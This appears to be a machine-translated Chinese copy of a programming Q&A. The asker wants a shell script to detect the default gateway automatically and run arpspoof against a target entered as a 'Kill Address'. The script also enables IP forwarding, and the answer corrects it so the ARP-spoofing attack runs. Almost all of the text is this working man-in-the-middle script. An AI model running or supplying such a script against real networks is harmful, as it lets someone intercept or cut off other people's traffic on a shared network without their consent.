2013-11-10 15 views
1

此腳本有效,但我想刪除輸入默認網關的必要性。使用字符串與另一個字符串的輸出 - 在外殼腳本中

read -p "Gateway address: " gtw 
echo "$yip" 
read -p "Target IP Address: " tip 
echo "$tip" 
arpspoof -i "wlan0" "$gtw" -t "$tip" 

我試圖用一個字符串(我認爲這就是所謂的刺 - >頂線),但我不能被正確地這樣做。我花了幾個小時尋找其他帖子,但我不知道該怎麼稱呼它。這只是我寫的第二個腳本。

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10) 
read -p "Kill Address: " tip 
echo "$tip" 
echo 1 > /proc/sys/net/ipv4/ip_forward 
arpspoof -i "wlan0" "gtw" -t "$tip" 

回答

3

缺少$

gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10) 
read -p "Kill Address: " tip 
echo "$tip" 
echo 1 > /proc/sys/net/ipv4/ip_forward 
arpspoof -i "wlan0" "$gtw" -t "$tip" 

或只是包括它直接在命令

read -p "Kill Address: " tip 
echo "$tip" 
echo 1 > /proc/sys/net/ipv4/ip_forward 
arpspoof -i "wlan0" $(route -n|grep ^0.0.0.0|cut -d' ' -f 10) -t "$tip" 
相關問題